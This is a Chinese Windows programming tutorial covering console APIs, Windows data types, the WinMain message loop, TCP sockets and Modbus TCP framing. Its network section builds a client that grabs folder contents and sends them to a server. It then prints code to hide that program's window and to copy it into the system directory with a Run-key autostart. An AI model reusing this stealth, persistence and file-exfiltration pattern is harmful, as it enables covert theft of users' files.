Windows编程上

Windows编程[上]

  • 一、Windows API
    • 1.控制台大小设置
      • 1.1 GetStdHandle
      • 1.2 SetConsoleWindowInfo
      • 1.3 SetConsoleScreenBufferSize
      • 1.4 SetConsoleTitle
      • 1.5 封装为Innks
    • 2.控制台字体设置以及光标调整
      • 2.1 GetConsoleCursorInfo
      • 2.2 SetConsoleCursorPosition
      • 2.3 GetCurrentConsoleFontEx
      • 2.4 修改Innks以便用户输入字体设置
    • 3. 缓冲区字符
      • 3.1 SetConsoleTextAttribute
      • 3.2 WriteConsoleOutput
      • 3.3 设计按钮控件
  • 二、Windows 数据类型
    • 1.基本数据类型
      • 1.1 字符类型
      • 1.2 **整型**
      • 1.3 字符串型
    • 2.常见的Windows数据类型
    • 3.特殊数据类型
    • 4.编码规范
  • 三、Windows应用程序
    • 1.WinMain 应用程序入口点
    • 2.WNDCLASS结构
    • 3.大致框架
    • 4.概念介绍
      • 4.1 窗口与句柄
      • 4.2 消息循环
      • 4.3 窗口过程函数(Window Procedure)
      • 4.4 总结
  • 四、网络篇
    • 1.TCP和UDP
        • TCP的主要特性
        • UDP的主要特性
    • 2.listen的参数含义
    • 3.改进recv和send函数
    • 4.截取文件内容客户端
    • 5.截取文件内容服务器
    • 6.截取文件内容客户端隐藏自身和自启动(通用模板)
      • 6.1 通用错误处理函数
      • 6.2 隐藏自身
      • 6.3 自启动
    • 7.modbusTCP
      • 7.1 Modbus 通信模型
      • 7.2 Modbus TCP 帧结构
      • 7.3 数据模型
      • 7.4 功能码(Function Codes)
      • 7.5 构建帧

微软开发文档地址

Windows 程序设计:以 C++类的形式封装了 Windows API,并且包含一个应用程序框架,以减少应用程序开发人员的工作量。包含大量 Windows 句柄封装类和很多 Windows 的内建控件和组件的封装类。专心的考虑程序的逻辑,而不是这些每次编程都要重复的东西,但是由于是通用框架,没有最好的针对性。

C/C++编程:仅产生少量的机器语言以及不需要任何运行环境支持便能运行的高效率程序设计语言。依靠非常全面的运算符和多样的数据类型,可以容易完成各种数据结构的构建,通过指针类型可对内存直接寻址以及对硬件进行直接操作,因此既能够用于开发系统程序,也可用于开发应用软件。

VA 的常用快捷键:

  • ALT+G 调到定义
  • ALT + SHIFT + F 查找所有引用
  • ALT + 左箭头/右箭头:回退/前进

一、Windows API

微软官方文档地址

image-20240630113236120

image-20240630113424079

image-20240701082709929

1.控制台大小设置

image-20240630143527053

image-20240630140726490

1.1 GetStdHandle

GetStdHandle 是 Windows API 中的一个函数,用于获取标准输入、标准输出或标准错误的句柄。这些句柄可以用于控制台应用程序与用户进行交互时的输入和输出操作。

image-20240630140504312

image-20240630140550984

image-20240630144149808

1.2 SetConsoleWindowInfo

设置控制台屏幕缓冲区窗口的当前大小和位置。

image-20240630144325543

image-20240630144433795

image-20240630145118850

矩形的宽度 = Right - Left + 1

矩形的高度 = Bottom - Top + 1

image-20240630145202903

1.3 SetConsoleScreenBufferSize

设置控制台缓冲区大小。

image-20240630145636015

1.4 SetConsoleTitle

设置控制台窗口标题。

image-20240630145727386

1.5 封装为Innks

总体设计如下,除了设置宽、高、窗口名以外,我们还定义了一个回调函数的格式,让用户可以通过自定义的回调函数来对不同的错误类型进行处理。

image-20240630163534013

image-20240630163650493

在每次遇到返回值处理的时候,我们都交给用户传入的函数来进行相应处理。

image-20240630163741840

当再次调整缓冲区大小为窗口大小的时候,会发现窗口宽和高各留了一个像素,这个其实是滚动条消失了,但是给滚动条预留的大小还存在窗口中,需要重新设置一下窗口大小。

image-20240630161820727

image-20240630164019618

2.控制台字体设置以及光标调整

image-20240630163416892

image-20240630163437327

2.1 GetConsoleCursorInfo

获得有关指定控制台屏幕缓冲区的游标大小和可见性的信息。

image-20240630164326333

image-20240630164349024

image-20240630164829045

2.2 SetConsoleCursorPosition

设置指定控制台屏幕缓冲区中的光标位置。

image-20240630165126249

image-20240630165400869

2.3 GetCurrentConsoleFontEx

检索有关当前控制台字体的扩展信息。

image-20240630195329992

image-20240630195527844

image-20240630200304442

image-20240630201548573

image-20240630201504263

2.4 修改Innks以便用户输入字体设置

image-20240630202453231

image-20240630202500246

image-20240630202556668

image-20240630202614926

3. 缓冲区字符

image-20240701095950597

image-20240701083604687

3.1 SetConsoleTextAttribute

设置由 WriteFileWriteConsole 函数写入控制台屏幕缓冲区或由 ReadFileReadConsole 函数回显的字符的属性。 此函数会影响在函数调用后写入的文本。

image-20240701095736052

image-20240701095807627

image-20240701101313659

3.2 WriteConsoleOutput

将字符和颜色属性数据写入控制台屏幕缓冲区中字符单元的指定矩形块。 要写入的数据取自源缓冲区中指定位置相应大小的矩形块。

image-20240701100100839

参数说明:

lpBuffer:

  • 类型: const CHAR_INFO*
  • 描述: 指向一个包含要写入控制台屏幕缓冲区的字符和属性数据的缓冲区。该缓冲区是一个二维数组,使用 CHAR_INFO 结构来表示每个字符及其属性。

dwBufferCoord

  • 类型: COORD
  • 描述: 定义 lpBuffer 缓冲区中要写入数据的区域的左上角坐标。这个坐标是相对于 lpBuffer 缓冲区的(而不是控制台屏幕缓冲区)。

image-20240701102842071

3.3 设计按钮控件

关于文字的颜色。每种颜色对应一位,一共有4bit表示颜色,所以是16种。

image-20240701103217953

image-20240701103741836

image-20240701113133698

image-20240701113250428

image-20240701113259843

如果我们仅仅使用 PCHAR dst,在函数内部对 dst 的修改不会影响外部传入的指针,这意味着我们不能在函数内分配新的内存并让外部变量指向这块内存。而使用 PCHAR& dst,我们就可以在函数内部分配新内存,并使外部指针指向这块新内存。当 dst 是空指针时,需要在函数内部分配新的内存并让 dst 指向这块新内存。这时因为需要修改 dst 指针本身,所以需要传入指针的引用(PCHAR&)或者使用指针的指针(PCHAR*)。

image-20240701113334955

image-20240701113051643

二、Windows 数据类型

1.基本数据类型

1.1 字符类型

Unicode: Unicode 是一种字符编码标准,使用 16 位数据表示一个字符,共可以表示 65535 种字符。它支持全球大部分语言的字符。

ANSI: ANSI 字符集使用 8 位数据或将相邻的两个 8 位的数据组合在一起表示特殊的语言字符。如果一个字节是负数,则将其后续的一个字节组合在一起表示一个字符。这种编码方式的字符集也称作“多字节”字符集。

在开发中文应用程序时,通常建议使用 Unicode 编码集。

  • Unicode 支持全球几乎所有语言的字符,这使得您的应用程序不仅可以处理中文,还可以轻松扩展支持其他语言,便于国际化。

  • Windows 操作系统内部大量使用 Unicode,使用 Unicode 可以避免多字节编码集(如 ANSI)和 Unicode 之间的转换问题,减少编码错误,提高应用程序的稳定性。

  • 现代的 Windows API 大多数都推荐使用 Unicode 版本(以 W 结尾的函数),而 ANSI 版本(以 A 结尾的函数)主要是为了兼容老的系统和应用程序。使用 Unicode 可以确保应用程序在未来的 Windows 版本中有更好的兼容性。

1.2 整型

  • INT: 表示整数类型,通常占用 4 个字节。
  • UINT: 表示无符号整数类型,通常占用 4 个字节。
  • SHORT: 表示短整数类型,通常占用 2 个字节。
  • USHORT: 表示无符号短整数类型,通常占用 2 个字节。
  • LONG: 表示长整数类型,通常占用 4 个字节。
  • ULONG: 表示无符号长整数类型,通常占用 4 个字节。
  1. 浮点型
    • FLOAT: 表示单精度浮点数类型,通常占用 4 个字节。
    • DOUBLE: 表示双精度浮点数类型,通常占用 8 个字节。
  2. 布尔型
    • BOOL: 表示布尔类型,通常占用 4 个字节。取值为 TRUE(1)FALSE(0)

1.3 字符串型

  1. LPCSTR
  • 含义: Windows ANSI 字符串常量(指向常量字符串的指针)。
  • 用途: 指向一个以 null 结尾的 ANSI 字符串,通常用于函数参数。

​ 2.LPCWSTR

  • 含义: Unicode 字符串常量(指向常量宽字符字符串的指针)。
  • 用途: 指向一个以 null 结尾的 Unicode 字符串,通常用于函数参数。

​ 3.LPCTSTR

  • 含义: 根据环境配置,如果定义了 UNICODE 宏,则是 LPCWSTR 类型,否则是 LPCSTR 类型。
  • 用途: 用于兼容 Unicode 和 ANSI 的字符串常量指针。
  1. LPDWORD
  • 含义: 指向 DWORD 类型数据的指针。
  • 用途: 指向一个 32 位无符号整数,通常用于函数参数传递地址。
  1. LPSTR
  • 含义: Windows ANSI 字符串变量(指向字符串的指针)。
  • 用途: 指向一个以 null 结尾的 ANSI 字符串,可以被修改。

​ 6.LPWSTR

  • 含义: Unicode 字符串变量(指向宽字符字符串的指针)。
  • 用途: 指向一个以 null 结尾的 Unicode 字符串,可以被修改。

​ 7.LPTSTR

  • 含义: 根据环境配置,如果定义了 UNICODE 宏,则是 LPWSTR 类型,否则是 LPSTR 类型。
  • 用途: 用于兼容 Unicode 和 ANSI 的字符串指针,可以被修改。

2.常见的Windows数据类型

  1. 句柄类型
    • HANDLE: 用于表示各种对象的句柄,如文件、窗口、菜单等。
    • HWND: 表示窗口句柄。
    • HDC: 表示设备上下文句柄,用于绘图操作。
    • HINSTANCE: 表示应用程序实例句柄。
  2. 消息和时间类型
    • WPARAM: 表示消息的附加信息,通常用于传递额外的数据,大小与指针相同。
    • LPARAM: 表示消息的附加信息,通常用于传递额外的数据,大小与指针相同。
    • LRESULT: 表示消息处理的返回值,大小与指针相同。
    • DWORD: 表示双字类型,通常用于计时器或标志位,大小为 4 个字节。
  3. 指针类型
    • LPCTSTR: 指向常量字符串的指针(适用于 Unicode 或 ANSI 字符)。
    • LPTSTR: 指向字符串的指针(适用于 Unicode 或 ANSI 字符)。
    • LPVOID: 指向任意类型的指针。

3.特殊数据类型

  1. RECT
    • 表示矩形区域,包含四个整数值:lefttoprightbottom
  2. POINT
    • 表示二维点,包含两个整数值:xy
  3. SIZE
    • 表示尺寸,包含两个整数值:cx(宽度)和 cy(高度)。
  4. COLORREF
    • 表示颜色值,通常用 RGB 值表示。

4.编码规范

前缀含义前缀含义
a数组 arrayb布尔值 bool
by无符号字符(字节)c字符(字节)
cb字节计数rgb保存颜色值的长整型
cx,cy短整型(计算 x,y 的长度)dw无符号长整型
fn函数h句柄
i整形(integer)m_类的数据成员 member
n短整型或整型np近指针
p指针(pointer)l长整型(long)
lp长指针s字符串 string
sz以零结尾的字符串tm正文大小
w无符号整型x,y无符号整型(表示 x,y 的坐标)

三、Windows应用程序

1.WinMain 应用程序入口点

image-20240630092123927

image-20240630092326097

image-20240630092341482

_stdcall 调用约定:

  1. 参数传递顺序

    参数从右到左进行压栈。也就是说,最后一个参数最先被压入堆栈。

  2. 堆栈清理

    调用该函数的代码负责传递参数,但函数自身负责清理堆栈。这与 __cdecl 调用约定不同,__cdecl 是由调用者负责清理堆栈。

  3. 名称修饰

    使用 _stdcall 调用约定的函数在编译时会进行名称修饰,函数名通常会被前缀一个下划线并在后面加上 @ 和参数的字节数。例如:

    int WINAPI MyFunction(int a, int b);
    

    将被编译器修饰为 _MyFunction@8。

2.WNDCLASS结构

image-20240630093245335

WNDCLASS 是 Win32 编程中定义窗口类的结构体,用于注册窗口类以便创建窗口。

  1. style
  • 类型: UINT
  • 含义: 窗口类的风格,可以是多个风格的组合,用 | 运算符连接。
  • 常用值:
    • CS_HREDRAW: 水平大小改变时重绘整个窗口。
    • CS_VREDRAW: 垂直大小改变时重绘整个窗口。
    • CS_OWNDC: 每个窗口有自己的设备上下文。
  1. lpfnWndProc
  • 类型: WNDPROC
  • 含义: 指向窗口过程函数的指针,定义窗口如何响应各种消息。
  • 用法: 必须提供一个自定义的窗口过程函数,处理诸如 WM_PAINTWM_DESTROY 等消息。
  1. cbClsExtra
  • 类型: int
  • 含义: 分配给窗口类的额外内存字节数。
  • 用法: 通常设为 0,除非需要为窗口类分配额外内存。
  1. cbWndExtra
  • 类型: int
  • 含义: 分配给每个窗口实例的额外内存字节数。
  • 用法: 通常设为 0,除非需要为每个窗口实例分配额外内存。
  1. hInstance
  • 类型: HINSTANCE
  • 含义: 应用程序实例句柄。
  • 用法: 通常使用 GetModuleHandle(NULL) 获取当前应用程序实例句柄。
  1. hIcon
  • 类型: HICON
  • 含义: 窗口类的图标句柄。
  • 用法: 可以使用 LoadIcon 加载图标资源。
  1. hCursor
  • 类型: HCURSOR
  • 含义: 窗口类的光标句柄。
  • 用法: 可以使用 LoadCursor 加载光标资源。
  1. hbrBackground
  • 类型: HBRUSH
  • 含义: 窗口背景刷句柄,用于绘制窗口背景。
  • 用法: 可以使用系统预定义的刷子,如 (HBRUSH)(COLOR_WINDOW+1)
  1. lpszMenuName
  • 类型: LPCTSTR
  • 含义: 窗口类的菜单名称。
  • 用法: 如果窗口类有一个菜单,可以在这里指定菜单资源名称,否则设为 NULL
  1. lpszClassName
  • 类型: LPCTSTR
  • 含义: 窗口类名称,用于唯一标识窗口类。
  • 用法: 必须提供一个独特的名称,通常是一个字符串常量。

3.大致框架

image-20240701144408613

image-20240701144421720

image-20240701144429569

image-20240701144446280

4.概念介绍

4.1 窗口与句柄

窗口(Window):窗口是 Windows 操作系统的一个基本组成部分,它代表了用户界面的一部分。几乎所有的用户界面元素(如按钮、文本框、列表框等)都是窗口。可以显示信息、接收用户输入等。

MFC 提供了一组类来表示不同类型的窗口,这些类都派生自 CWnd 类。以下是一些常见的 MFC 窗口类:

  • CFrameWnd:用于表示主框架窗口。
  • CDialog:用于表示对话框窗口。
  • CView:用于表示视图窗口,通常与文档-视图架构(Document/View Architecture)一起使用。
  • CButtonCEditCListBox 等:用于表示各种控件窗口。

句柄(Handle):句柄是一个唯一的整数值,用于标识 Windows 系统中的对象。句柄可以看作是对象的标识符,允许应用程序与操作系统进行交互而不必了解对象的内部结构。

常见的句柄类型:

  • 窗口句柄(HWND):表示窗口对象的句柄。
  • 设备上下文句柄(HDC):表示设备上下文的句柄,用于绘图操作。
  • 实例句柄(HINSTANCE):表示应用程序实例的句柄。
  • 菜单句柄(HMENU):表示菜单的句柄。

在 MFC 中,每个窗口对象都有一个对应的窗口句柄(HWND)。窗口句柄是由 Windows 操作系统分配的,用于唯一标识窗口。

窗口对象:窗口对象是系统内部用来管理窗口状态和行为的数据结构。通过窗口句柄,可以访问窗口对象并对其进行操作,如显示窗口、更新窗口内容等。

4.2 消息循环

消息(Message):在 Win32 编程中,系统通过消息机制与窗口通信。每当发生用户输入(如鼠标点击、键盘输入)或系统事件(如窗口大小改变),系统会生成相应的消息并将其发送给窗口。

消息循环(Message Loop):消息循环是一个循环结构,用于从消息队列中获取消息并将其分派给窗口过程函数进行处理。

消息循环的基本流程如下:

  1. 获取消息:从应用程序的消息队列中获取下一条消息。
  2. 翻译消息:将虚拟键消息(如键盘输入)翻译为字符消息。
  3. 分发消息:将消息分发给相应的窗口过程进行处理。
  4. 处理消息:窗口过程处理消息,并执行相应的操作。

在传统的 Windows 应用程序中,消息循环通常如下所示:

MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

4.3 窗口过程函数(Window Procedure)

在 Windows 编程中,窗口过程函数(Window Procedure)是一个非常重要的概念。窗口过程函数是处理窗口消息的核心函数,每当窗口接收到消息时,操作系统都会调用这个函数。每个窗口类都有一个窗口过程函数,定义窗口如何响应各种消息。

4.4 总结

Win32 应用程序开发涉及以下步骤:

  1. 注册窗口类。
  2. 创建窗口实例。
  3. 显示和更新窗口。
  4. 运行消息循环。
  5. 定义窗口过程函数处理消息。

四、网络篇

1.TCP和UDP

TCP的主要特性
  • 连接导向:TCP是一个面向连接的协议。在传输数据之前,需要建立一个连接。这个过程包括三次握手(Three-way Handshake)。
  • 可靠传输:通过确认(ACK)和重传机制保证数据的可靠传输。
  • 数据流控制:通过滑动窗口机制实现流量控制,防止发送方发送速度过快导致接收方无法处理。
  • 拥塞控制:采用慢启动、拥塞避免、快重传和快恢复等算法进行拥塞控制。
  • 无边界数据流:TCP把数据视为一个连续的数据流,没有数据边界的概念。

TCP协议中不存在数据边界的概念意味着,TCP将数据视为一个连续的字节流,而不是一个个独立的数据包。在传输过程中,数据被分割成段(segment),每个段包含一部分数据流中的字节,但TCP并不关心这些段的边界。

建立TCP连接时,需要进行三次握手过程,以确保双方都准备好并且能够进行通信。

  • 第一次握手:客户端发送SYN(同步序列编号)包,表明客户端希望建立连接,并且客户端的初始序列号(Sequence Number,Seq)为X。
  • 第二次握手:服务器收到SYN包后,回复一个SYN-ACK包。这个包中包含服务器的初始序列号Y,并确认客户端的序列号(ACK = X+1)。
  • 第三次握手:客户端收到SYN-ACK包后,发送一个ACK包,确认服务器的序列号(ACK = Y+1)。此时,连接建立。

关闭TCP连接需要四次挥手过程,确保双方都完成了数据传输并且准备关闭连接。

  • 第一次挥手:客户端发送FIN包,表示不再发送数据,但仍可接收数据。
  • 第二次挥手:服务器收到FIN包后,回复ACK包,确认收到客户端的FIN包。
  • 第三次挥手:服务器发送FIN包,表示不再发送数据。
  • 第四次挥手:客户端收到服务器的FIN包后,回复ACK包,确认收到服务器的FIN包,连接关闭。
UDP的主要特性
  • 无连接:在传输数据之前不需要建立连接,每个数据报独立传输。
  • 不可靠:不保证数据报的到达,不进行确认和重传。
  • 无序:不保证数据报按顺序到达,数据报可能乱序到达。
  • 数据报边界:UDP将数据看作一个个独立的数据报,每个数据报有明确的边界。
  • 低开销:由于不需要连接管理和可靠性保证,UDP的开销比TCP低。

2.listen的参数含义

listen 函数用于将套接字设置为被动模式,准备接受连接请求。其原型如下:

int listen(int sockfd, int backlog);
  • backlog:指定完全建立的连接和半连接的队列长度。

backlog 参数指定了内核为这个套接字维护的连接请求队列的最大长度。这个队列包含了已完成的连接和等待完成的连接(半连接)。

我们可以将连接请求队列分为两个部分:

  1. 半连接队列(Syn Queue):存放那些已经发送了 SYN 报文但还没有完成三次握手的连接请求。
  2. 完全连接队列(Accept Queue):存放那些已经完成三次握手,等待被 accept 函数处理的连接。

假设 backlog 设置为 5,表示服务器最多能同时处理 5 个连接请求:

  • 当有第 6 个连接请求到达时,如果完全连接队列已经满了,这个请求会被拒绝。
  • 只有当服务器调用 accept 函数并从完全连接队列中移除一个连接后,新的连接请求才能进入这个队列。

image-20240701165502593

当我们通过多个客户端连接服务器的时候,只有前五个连接成功了,后面的都是错误10061。

image-20240701165550633

也就是说,服务器拒绝连接。

3.改进recv和send函数

image-20240701193116275

image-20240701193121516

4.截取文件内容客户端

image-20240702084603399

image-20240702084918510

先实现一个找到文件夹中所有文件的函数。
image-20240702090658555

image-20240702090713334

找到文件后,发送文件内容给指定服务器。

image-20240702181332218

image-20240702181408211

5.截取文件内容服务器

image-20240702182154012

image-20240702182101416

6.截取文件内容客户端隐藏自身和自启动(通用模板)

6.1 通用错误处理函数

void ErrorHandling(const char* format, ...) 
{
	va_list args;
	va_start(args, format);
	vfprintf(stderr, format, args); // 格式化输出错误信息到标准错误流
	va_end(args);
	fputc('\n', stderr); 
	exit(1); 
}

6.2 隐藏自身

void HideMyself()
{
	//拿到当前的窗口句柄
	HWND hwnd = GetForegroundWindow();
	//隐藏当前窗口
	ShowWindow(hwnd, SW_HIDE);
}

6.3 自启动

void AddToSystem(const char* programName) {
	HKEY hKEY;
	char CurrentPath[MAX_PATH];
	char SysPath[MAX_PATH];
	long ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type = REG_SZ;
	DWORD size = MAX_PATH;
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";

	// 获取系统目录
	GetSystemDirectory(SysPath, size);

	// 获取当前程序路径
	GetModuleFileName(NULL, CurrentPath, size);

	// 复制文件
	FileCurrentName = CurrentPath;
	FileNewName = strcat(SysPath, "\\");
	FileNewName = strcat(FileNewName, programName);

	struct _finddata_t Steal;
	cout << "ret1 = " << ret << endl;
	if (_findfirst(FileNewName, &Steal) != -1) {
		// 已经安装
		cout << "ret2 = " << ret << endl;
		return;
	}

	int ihow = MessageBox(0,
		"该程序仅用于合法目的的运行!\n"
		"按“取消”退出。\n"
		"按“是”按钮将复制到您的计算机上,并随系统启动自动运行。\n"
		"按“否”按钮,程序只运行一次,不会在您的系统内留下任何痕迹。",
		"警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);

	if (ihow == IDCANCEL)
		exit(0);

	if (ihow == IDNO) {
		// 只运行一次
		return;
	}

	// 复制文件
	ret = CopyFile(FileCurrentName, FileNewName, TRUE);
	if (!ret) {
		cout << "文件复制失败" << endl;
		return;
	}

	// 加入注册表
	cout << "ret = " << ret << endl;
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
	if (ret != ERROR_SUCCESS) {
		cout << "无法打开注册表项" << endl;
		RegCloseKey(hKEY);
		return;
	}

	// 设置注册表值
	ret = RegSetValueEx(hKEY, "MyProgram", 0, type, (const unsigned char*)FileNewName, size);
	if (ret != ERROR_SUCCESS) {
		cout << "无法设置注册表值" << endl;
		RegCloseKey(hKEY);
		return;
	}

	RegCloseKey(hKEY);
	cout << "程序成功添加到启动项" << endl;
}

7.modbusTCP

Modbus TCP协议通常在应用层实现。在Modbus TCP中,每个数据包由一个MBAP头和一个PDU(协议数据单元)组成。MBAP头包含事务ID、协议ID、长度和单元ID。PDU则包含功能码和数据。

7.1 Modbus 通信模型

  • 主/从(Master/Slave)模型:在 Modbus 通信中,通常由一个主设备(Master)和一个或多个从设备(Slave)组成。主设备发出请求,从设备响应。
  • 客户端/服务器(Client/Server)模型:在 Modbus TCP 中,客户端(Client)类似于传统 Modbus 中的主设备,而服务器(Server)类似于从设备。客户端发出请求,服务器响应。

7.2 Modbus TCP 帧结构

  • Modbus TCP 的消息框架

    基于 Modbus RTU/ASCII 的消息框架,并在其前面加上一个 Modbus TCP 的特定头(MBAP Header)。

    MBAP 头包含以下字段:

    • Transaction Identifier(2 字节):由客户端生成,用于匹配请求和响应。
    • Protocol Identifier(2 字节):总是为 0,表示 Modbus 协议。
    • Length(2 字节):表示剩余消息的长度(包括单元标识符和数据)。
    • Unit Identifier(1 字节):用于标识远程从设备,在 Modbus TCP 中通常为 0。
  • Modbus PDU(Protocol Data Unit):紧随 MBAP 头之后,包括功能码和数据。

7.3 数据模型

Modbus 协议使用以下数据模型:

  1. 离散输出(线圈,Coils):单个位,可以读写。
  2. 离散输入(Discrete Inputs):单个位,只读。
  3. 保持寄存器(Holding Registers):16位寄存器,可以读写。
  4. 输入寄存器(Input Registers):16位寄存器,只读。

这些寄存器的地址范围通常为 0 到 65535。

7.4 功能码(Function Codes)

Modbus 协议定义了一组功能码,用于指定不同的操作,例如读写寄存器或线圈。常见的功能码包括:

  1. 0x01:读线圈(Read Coils)
  2. 0x02:读离散输入(Read Discrete Inputs)
  3. 0x03:读保持寄存器(Read Holding Registers)
  4. 0x04:读输入寄存器(Read Input Registers)
  5. 0x05:写单个线圈(Write Single Coil)
  6. 0x06:写单个保持寄存器(Write Single Register)
  7. 0x0F:写多个线圈(Write Multiple Coils)
  8. 0x10:写多个保持寄存器(Write Multiple Registers)

7.5 构建帧

Modbus TCP协议遵循大端(Big-endian)字节序,即高位字节在前,低位字节在后。

在这里插入图片描述

事务处理标识假设它的值是 0x0001

query[0] = 0x0001 >> 8;   // 获取高字节,0x00
query[1] = 0x0001 & 0xFF; // 获取低字节,0x01

协议标识:固定为 0x0000

query[2] = 0x0000 >> 8; // 获取高字节,0x00
query[3] = 0x0000 & 0xFF; // 获取低字节,0x00

长度:假设它的值是 0x0006

query[4] = 0x0006 >> 8; // 获取高字节,0x00
query[5] = 0x0006 & 0xFF; // 获取低字节,0x06

单元标识符:假设它的值是 0x01

query[6] = 0x01;

功能码:假设它的值是 0x03

query[7] = function_code; // 0x03

开始地址:假设它的值是 0x0000

query[8] = 0x0000 >> 8; // 获取高字节,0x00
query[9] = 0x0000 & 0xFF; // 获取低字节,0x00

寄存器个数:假设它的值是 0x000A

query[10] = 0x000A >> 8; // 获取高字节,0x00
query[11] = 0x000A & 0xFF; // 获取低字节,0x0A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/765227.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

DLS-42/5-5双位置继电器 DC220V 板后接线 约瑟JOSEF

DLS-40系列双位置继电器型号&#xff1a; DLS-41/10-2双位置继电器&#xff1b; DLS-41/9-3双位置继电器 DLS-41/8-4双位置继电器&#xff1b; DLS-41/6-6双位置继电器&#xff1b; DLS-42/9-1双位置继电器&#xff1b; DLS-42/8-2双位置继电器&#xff1b; DLS-42/7-3双位…

2024护网整体工作预案示例

目录 第1章 HW整体工作工作部署 1.1 工作组织架构 1.2 各部门工作职责 1.3 演练期间工作机制 1.3.1 工作汇报机制 1.3.2 应急响应机制 第2章 系统资产梳理整改 2.1 敏感信息梳理整改 2.2 互联网资产发现 2.3 第三方供应商梳理 2.4 业务连接单位梳理 第3…

【C++】main函数及返回值深度解析

一.main函数介绍 1.main函数怎么写 #include <iostream>int main() {// 程序的代码放在这里std::cout << "Hello, World!" << std::endl;return 0; }在这个例子中&#xff1a; #include <iostream> 是预处理指令&#xff0c;它告诉编译器…

入门Axure:快速掌握原型设计技能

2002 年&#xff0c;维克托和马丁在旧金山湾区的一家初创公司工作&#xff0c;发现自己一再被软件开发生命周期的限制所困扰&#xff0c;而且产品团队在编写规范之前很难评估他们的解决方案&#xff0c;开发人员经常不理解&#xff08;或不阅读&#xff09;给出的规范&#xff…

02.C1W1.Sentiment Analysis with Logistic Regression

目录 Supervised ML and Sentiment AnalysisSupervised ML (training)Sentiment analysis Vocabulary and Feature ExtractionVocabularyFeature extractionSparse representations and some of their issues Negative and Positive FrequenciesFeature extraction with freque…

前端人注意了!Nuxt 的服务器专用组件应该引起你的关注!!

大家好&#xff0c;我是CodeQi&#xff01; 前几天&#xff0c;我和同事们在讨论 Nuxt.js 的一些新特性时&#xff0c;突然发现一件有趣的事情&#xff1a;Nuxt 的服务器专用组件&#xff08;Server-only Components&#xff09;引起了大家的极大兴趣。 为了不显得太落伍&am…

【unity实战】使用旧输入系统Input Manager 写一个 2D 平台游戏玩家控制器——包括移动、跳跃、滑墙、蹬墙跳

最终效果 文章目录 最终效果素材下载人物环境 简单绘制环境角色移动跳跃视差和摄像机跟随效果奔跑动画切换跳跃动画&#xff0c;跳跃次数限制角色添加2d物理材质&#xff0c;防止角色粘在墙上如果角色移动时背景出现黑线条方法一方法二 墙壁滑行实现角色滑墙不可以通过移动离开…

MySQL——事务ACID原则、脏读、不可重复读、幻读

什么是事务 要么都成功&#xff0c;要么都失败 一一一一一一一 1. SQL执行&#xff1a;A给B转账 A 1000 ---->200 B 200 2. SQL执行&#xff1a;B收到A的钱 A 800 B 400 一一一一一一一 将一组SQL放在一个批次中去执行~ 事务原则&#xff1a;ACI…

SolidWorks教育版:丰富的教学资源

在当今日新月异的工程教育领域中&#xff0c;一款强大的教学工具对于提高学生的学习效果和创新能力至关重要。SolidWorks教育版凭借其丰富的教学资源&#xff0c;不仅满足了教师的教学需求&#xff0c;也为学生提供了一个全方面、深入的学习平台。本文将深入探讨SolidWorks教育…

[DataWhale大模型应用开发]学习笔记1-尝试搭建向量数据库

1.词向量 1.定义 词向量&#xff08;Word Vector&#xff09;是将单词表示为向量形式的技术&#xff0c;是自然语言处理&#xff08;NLP&#xff09;中的一种常用方法。通过将单词转化为向量&#xff0c;计算机能够更好地理解和处理语言。简单来说&#xff0c;词向量就是将单…

Cocos制作抖音小游戏接入侧边栏复访接口实例

本篇文章主要讲解&#xff0c;使用cocos接入抖音小游戏侧边栏接口的实例教程。 日期&#xff1a;2024年7月1日 作者&#xff1a;任聪聪 教程实例&#xff1a;https://download.csdn.net/download/hj960511/89509196 下载后可直接导入运行 上传游戏后抖音预审不通过 注意&#x…

win10下安装PLSQL14连接Oracle数据库

问题背景 在使用Oracle开发过程中&#xff0c;经常会使用工具来连接数据库&#xff0c;方便查询、处理数据。其中有很多工具可以使用&#xff0c;比如dbeaver、plsql等。本文主要介绍在win10环境下&#xff0c;plsql14的安装步骤以及安装过程中遇到的一些问题。 安装步骤及问题…

TensorRT学习(二)TensorRT使用教程(Python版)

本文适合快速了解TensorRT使用的整体流程,具体细节还是建议参考TensorRT的官方文档。 加速原理: 加速原理比较复杂,它将会根据显卡来优化算子,以起到加速作用(如下图所示)。简单的来说,就是类似于你出一个公式1+1+1,而你的显卡支持乘法,直接给你把这个公式优化成了1*…

scikit-learn教程

scikit-learn&#xff08;通常简称为sklearn&#xff09;是Python中最受欢迎的机器学习库之一&#xff0c;它提供了各种监督和非监督学习算法的实现。下面是一个基本的教程&#xff0c;涵盖如何使用sklearn进行数据预处理、模型训练和评估。 1. 安装和导入包 首先确保安装了…

controller不同的后端路径对应vue前端传递数据发送请求的方式,vue请求参数 param 与data 如何对应后端参数

目录 案例一&#xff1a; 为什么使用post发送请求&#xff0c;参数依旧会被拼接带url上呢&#xff1f;这应该就是param 与data传参的区别。即param传参数参数会被拼接到url后&#xff0c;data会以请求体传递 补充&#xff1a;后端controller 参数上如果没写任何注解&#xff0c…

【附精彩文章合辑】为何选择TypeScript?转变的驱动力:Rust的魅力何在?

在探讨一个开发者团队耗时18个月从TypeScript转向Rust&#xff0c;并随后对TypeScript进行严厉批评的情境时&#xff0c;我们首先需要认识到&#xff0c;任何技术栈的选择与转换都是基于一系列复杂的考量&#xff0c;包括但不限于项目需求、性能瓶颈、团队技能、长期可维护性以…

VGPU的使用

&#xff08;作者&#xff1a;陈玓玏&#xff09; 开源项目&#xff0c;欢迎star哦&#xff0c;https://github.com/data-infra/cube-studio 训练AI模型以及部署模型推理服务时&#xff0c;GPU往往是必不可少的&#xff0c;但当我们机器上没有足够的GPU卡可使用时&#xf…

探索未来远程调试新纪元——《串口网口远程调试软件》:无缝连接,高效调试

